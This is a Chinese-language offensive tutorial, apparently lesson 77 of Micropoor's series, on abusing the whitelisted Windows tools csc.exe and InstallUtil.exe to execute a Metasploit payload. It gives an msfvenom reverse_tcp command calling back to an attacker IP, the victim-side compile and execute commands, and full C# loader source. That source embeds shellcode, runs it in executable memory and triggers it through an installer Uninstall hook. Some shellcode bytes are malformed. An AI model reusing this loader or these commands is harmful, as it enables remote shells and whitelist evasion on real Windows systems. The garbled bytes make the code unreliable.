注：请多喝点热水或者凉白开，身体特别重要。

Csc.exe简介：

C#的在Windows平台下的编译器名称是Csc.exe，如果你的.NET FrameWork SDK安装在C盘，那么你可以在C:\WINNT\Microsoft.NET\Framework\xxxxx目录中发现它。为了使用方便，你可以手动把这个目录添加到Path环境变量中去。用Csc.exe编译HelloWorld.cs非常简单，打开命令提示符，并切换到存放
test.cs文件的目录中，输入下列行命令:csc /target:exe test.cs 将Ttest.cs 编译成名为 test.exe 的 console 应用程序

说明： Csc.exe所在路径没有被系统添加PATH环境变量中，因此，csc命令无法识别。

基于白名单Csc.exe配置payload：

Windows 7 默认位置：

  1. C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
  2. C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

攻击机：192.168.1.4 Debian
靶机：192.168.1.5 Windows 7

配置攻击机msf：

第七十七课：基于白名单Csc.exe执行payload第七季 - 图1

配置payload：

  1. msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐ f csharp

第七十七课：基于白名单Csc.exe执行payload第七季 - 图2

copy buf 到 Micropoor_Csc.cs shellcode 中。
第七十七课：基于白名单Csc.exe执行payload第七季 - 图3

靶机执行：

  1. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Mic opoor.exe /platform:x64 /unsafe C:\Users\John\Desktop\Micropoor_Csc.cs
  1. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\John\Desktop\Micropoor.exe

第七十七课：基于白名单Csc.exe执行payload第七季 - 图4

与第七十二课相比，payload更为灵活。

附录：Micropoor_Csc.cs

  1. using System;
  3. using System.Net;
  5. using System.Diagnostics;
  7. using System.Reflection;
  9. using System.Configuration.Install;
  11. using System.Runtime.InteropServices; 
  14. // msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐f csharp 
  16. public class Program
  18. {
  20. public static void Main()
  22. { 
  24. }
  27. } 
  29. [System.ComponentModel.RunInstaller(true)]
  31. public class Sample : System.Configuration.Install.Installer
  33. { 
  35. public override void Uninstall(System.Collections.IDictionary savedState)
  37. { 
  39. Shellcode.Exec(); 
  41. } 
  43. } 
  45. public class Shellcode
  47. {
  49. public static void Exec()
  51. { 
  53. byte[] shellcode = new byte[510] {
  55. 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
  57. 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,x48,
  59. 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,xc9,
  61. 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,x41,
  63. 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,x48,
  65. 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,x8b,
  67. 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,x8b,
  69. 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,x41,
  71. 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,xc1,
  73. 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,x45,
  75. 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,x8b,
  77. 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,x01,
  79. 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,x48,
  81. 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,xe9,
  83. 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,x00,
  85. 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,xe5,
  87. 0x49,0xbc,0x02,0x00,0x00,0x35,0xc0,0xa8,0x01,0x04,0x41,0x54,0x49,0x89,xe4,
  89. 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,x68,
  91. 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,x0a,
  93. 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,x89,
  95. 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,xd5,
  97. 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,xba,
  99. 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,xe5,
  101. 0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,xc9,
  103. 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,xd5,
  105. 0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,x41,
  107. 0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,x41,
  109. 0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,x31,
  111. 0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,xc8,
  113. 0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,x40,
  115. 0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,xd5,
  117. 0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,x3c,
  119. 0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,x41,
  121. 0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,xd5 };
  124. UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
  126. MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  128. Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
  130. IntPtr hThread = IntPtr.Zero;
  132. UInt32 threadId = 0; 
  134. IntPtr pinfo = IntPtr.Zero; 
  136. hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
  138. WaitForSingleObject(hThread, 0xFFFFFFFF); 
  140. } 
  142. private static UInt32 MEM_COMMIT = 0x1000; 
  144. private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 
  146. [DllImport("kernel32")]
  148. private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 
  150. [DllImport("kernel32")]
  152. private static extern bool VirtualFree(IntPtr lpAddress,
  154. UInt32 dwSize, UInt32 dwFreeType); 
  156. [DllImport("kernel32")]
  158. private static extern IntPtr CreateThread( 
  160. UInt32 lpThreadAttributes,
  162. UInt32 dwStackSize,
  164. UInt32 lpStartAddress,
  166. IntPtr param,
  168. UInt32 dwCreationFlags,
  170. ref UInt32 lpThreadId
  172. );
  174. [DllImport("kernel32")]
  176. private static extern bool CloseHandle(IntPtr handle); 
  178. [DllImport("kernel32")]
  180. private static extern UInt32 WaitForSingleObject( 
  182. IntPtr hHandle,
  184. UInt32 dwMilliseconds
  186. );
  188. [DllImport("kernel32")]
  190. private static extern IntPtr GetModuleHandle( 
  192. string moduleName 
  194. );
  196. [DllImport("kernel32")]
  198. private static extern UInt32 GetProcAddress( 
  200. IntPtr hModule,
  202. string procName 
  204. );
  206. [DllImport("kernel32")]
  208. private static extern UInt32 LoadLibrary( 
  210. string lpFileName 
  212. );
  214. [DllImport("kernel32")]
  216. private static extern UInt32 GetLastError(); 
  218. }

Micropoor